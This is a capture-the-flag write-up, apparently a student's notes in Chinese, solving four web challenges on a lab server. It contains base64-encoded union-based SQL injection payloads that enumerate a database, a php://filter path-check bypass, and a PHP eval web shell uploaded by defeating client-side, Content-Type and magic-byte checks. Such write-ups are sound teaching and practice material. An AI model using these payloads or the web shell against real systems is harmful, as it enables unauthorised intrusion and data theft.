文章目錄
0x00 第一題:Do you want flag?
-
題目中提示了:You can tell me if you want
flag
-
在輸入框中輸入flag,返回一個加密字符串
-
該字符串爲Base64編碼,解碼得flag: flag{WelC0me_to_ctf2}
0x01 第二題:PHP is the BEST!
- 在Index page中,點擊another page。F12後發現給了flag所在目錄的提示,並且有個判斷文件路徑的腳本
- 腳本分析:
<!--
if (strpos($file_path, ".") === 0 || substr_count($file_path, "..") > 2) {
echo "<p>malicious parameter</>
}
-->
函數的作用:
- strpos查找字符串在另一字符串中第一次出現的位置(區分大小寫)
- substr_count() 函數計算子串在字符串中出現的次數
即,如果文件路徑是以.
開頭,或者路徑中出現..
的次數超過2次,則拿不到flag
嘗試file_path爲../flag
,果然得不到flag
- 構造文件路徑:
php://filter/resource=../flag
,最終得到flag: flag{Bypass_File_Path_Check}
0x02 第三題:ID system
-
URL:http://124.16.71.227:40005/?id=MQ%3d%3d 中,%3d%3d 是經過URL編碼後的結果。解碼後是:MQ==。猜測爲base64,解碼後得:1
-
通過
order by
進行嘗試,獲取用戶這個表的屬性個數- 輸入:構造
1 order by 3
:http://124.16.71.227:40005/?id=MSBvcmRlciBieSAz
- 結果:
no result
- 輸入:構造
1 order by 2
:http://124.16.71.227:40005/?id=MSBvcmRlciBieSAy
- 結果:
S_ID: 1 - S_Name: Zhang, San
- 分析:因此可以判斷用戶表有兩個屬性列
- 輸入:構造
-
獲取所有的數據庫名稱
- 輸入:
1 union select 1, database();
- 其中,
1 union select 1, database();
經過base64編碼後爲:MSB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKTs=
,因此URL爲:http://124.16.71.227:40005/?id=MSB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKTs=
- 從第2點可知,用戶表有兩個屬性,database()返回的是一列。爲了union能順利執行,在select後面多了個 1
- 其中,
- 結果:
S_ID: 1 - S_Name: Zhang, San S_ID: 1 - S_Name: websec
- 分析:數據庫名爲
websec
- 輸入:
-
獲取數據庫
websec
中的表名- 輸入:
1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='websec';
,URL爲:http://124.16.71.227:40005/?id=MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpICBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd3ZWJzZWMnOw==
- 結果:
S_ID: 1 - S_Name: Zhang, San S_ID: 1 - S_Name: Computer_Science,Web_Security,flag
- 分析:存在三個表,可以看到有個表的名字是flag,應該就是我們要的了
- 輸入:
-
獲取表
flag
中的字段名- 輸入:
1 union select 1, group_concat(column_name) from information_schema.columns where table_schema='websec' and table_name='flag';
,URL爲http://124.16.71.227:40005/?id=MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nd2Vic2VjJyBhbmQgdGFibGVfbmFtZT0nZmxhZyc7CgoK
- 結果:
S_ID: 1 - S_Name: Zhang, San S_ID: 1 - S_Name: value
- 分析,表flag中僅有一個字段爲
value
- 輸入:
-
獲取表
flag
中的數據- 輸入:
1 union select 1, group_concat(value) from flag;
,URL爲:http://124.16.71.227:40005/?id=MSB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KHZhbHVlKSBmcm9tIGZsYWc7
- 結果:
S_ID: 1 - S_Name: Zhang, San S_ID: 1 - S_Name: flag{Have_Fun_In_SQL_Injection}
- 分析:flag爲:flag{Have_Fun_In_SQL_Injection}
- 輸入:
-
一些函數的作用:
- union() 函數可以實現跨表查詢
- group_concat() 將一組中的數據拼起來轉成一行數據,比如同一個category中的商品id通過 group_concat() 函數聚合後得到的只有一條數據:
1407,1232,1108
0x03 第四題:Upload
3.1 方法一
- 新建一個php文件,內容爲:
<?php @evalOST['pass']);?>
- 嘗試上傳php文件,發現前端有文件類型檢查
F12檢查,submit按鈕的點擊函數存在類型檢查,允許的文件類型爲:['gif','jpg','png']
:
<input type="submit" name="submit" value="Submit" onclick="checkFileSizeAndType(1*1024*1024,['gif','jpg','png'],'file');">
因此,嘗試直接在Chrome裏開發者工具的Elements中,在函數checkFileSizeAndType
的參數中添加php
的文件類型作爲參數:
<input type="submit" name="submit" value="Submit" onclick="checkFileSizeAndType(1*1024*1024,['gif','jpg','png','php'],'file');">
發現仍然繞不過(/(ㄒoㄒ)/~~
找不到什麼原因,也清理過緩存了,但是Firefox裏修改是有效果的),修改的代碼沒有起效。於是查看checkFileSizeAndType()
函數,決定重新定義該函數,將文件類型固定在函數裏。
function checkFileSizeAndType(maxSize,allowType,fileId) {
...
//默認類型
if(!allowType){
allowType=new Array('jpg','png');
}
// 自己的代碼
allowType = new Array('php', 'jpg', 'png');
//js通過id獲取上傳的文件對象
var file = document.getElementById(fileId);
...
}
將該函數複製到Chrome的console,覆蓋掉原網頁文檔中的checkFileSizeAndType函數
- 再次上傳,發現後端返回的是
stop hacking
的提示信息。說明可能還是被識別出來不是圖片了。傳輸圖片除了後綴名的判斷,還可以在HTTP報文中的Content-Type
中指定傳輸的是圖片。用Burpsuit抓包查看:
將Content-Type:
的值修改爲圖片格式:Content-Type:image/jpeg
,轉發數據包
- 返回結果提示
error file head
。顯然在後端還檢查了上傳的文件的頭部是不是圖片的頭部。
這裏使用JPEG文件的頭部:FFD8FFE0
。用vim編輯webshell文件,在文件頭部添加FFD8FFE0
。然後上傳該文件。
-
上傳完了訪問該文件還是訪問不了,嘗試獲取swp文件(編輯文件的時候突然斷電會產生swp文件):
http://124.16.71.227:40006/.index.php.swp
。使用命令vi -r index.php.swp
查看,代碼如下:23333333333333333333333333333 這你都發現了?<?php if ($_FILES){ if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br />"; } else { if ($_FILES["file"]["type"] !== "image/jpeg"){ die("stop hacking!"); } if ($_FILES["file"]["size"] / 1024 > 2048){ die("size too big!"); } $file_tmp = fopen($_FILES["file"]["tmp_name"], 'rb'); $bin = fread($file_tmp, 2); fclose($file_tmp); $data = unpack('C2chars', $bin); $type_code = intval($data['chars1'].$data['chars2']); $flag = 0; switch ($type_code) { case 255216: $fileType = 'jpg'; $flag = 1; break; case 13780: $fileType = 'png'; $flag = 1; break; default: $fileType = 'unknown'; die("error file head!"); break; } if ($flag === 1){ $filetype = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')); $filename = md5($_FILES["file"]["name"]) . $filetype; if (strtolower($filetype) === ".php"){ copy('../flag', $filename); }else{ move_uploaded_file($_FILES["file"]["tmp_name"], $filename); } echo "<h1>成功</h1>"; } } } ?>
-
可以看到在代碼最後一個部分中,將flag的內容存入了以md5(filename)作爲文件名的文件中。
因此,對上傳的文件的文件名部分進行md5加密,再進行訪問,得flag: flag{Upl0ad_w1lL_get_fl4g} -
checkFileSizeAndType
修改後的完整代碼:
function checkFileSizeAndType(maxSize,allowType,fileId) {
//默認大小
if(!maxSize){
maxSize=10*1024*1024;
}
//默認類型
if(!allowType){
allowType=new Array('jpg','png');
}
// 自己的代碼
allowType = new Array('php', 'jpg', 'png');
//js通過id獲取上傳的文件對象
var file = document.getElementById(fileId);
var types =allowType;
var fileInfo = file.files[0];
if(!fileInfo){
alert("請選擇文件!");
return false;
}
var fileName = fileInfo.name;
//獲取文件後綴名
var file_typename = fileName.substring(
fileName.lastIndexOf('.') + 1, fileName.length);
//定義標誌是否可以提交上傳
var isUpload = true;
//定義一個錯誤參數:1代表大小超出 2代表類型不支持
var errNum =0;
if (fileInfo) {
if (fileInfo.size > maxSize) {
isUpload = false;
errNum=1;
} else {
for (var i in types) {
if (types[i] == file_typename) {
isUpload = true;
return isUpload;
} else {
isUpload = false;
errNum=2;
}
}
}
}
//對錯誤的類型進行對應的提示
if (!isUpload) {
if(errNum==1){
var size = maxSize/1024/1024;
alert("上傳的文件必須爲小於"+size+"M的圖片!");
}else if(errNum==2){
alert("上傳的"+file_typename+"文件類型不支持!只支持"+types.toString()+"格式");
}else{
alert("沒有選擇文件");
}
file.value="";
return isUpload;
}
}
3.2 方法二
- 在得到了swp文件以後,可以知道後臺的代碼中,直接把flag放入用戶上傳的php文件中。
- 因此,可以直接上傳一個jpg文件:hzy.jpg,burpsuit修改文件後綴名:hzy.php。將hzy.php通過md5加密:
3633f013bd756cb8e7c1c228502ac913
- 然後直接訪問:http://124.16.71.227:40006/3633f013bd756cb8e7c1c228502ac913.php 即可拿到flag:flag{Upl0ad_w1lL_get_fl4g}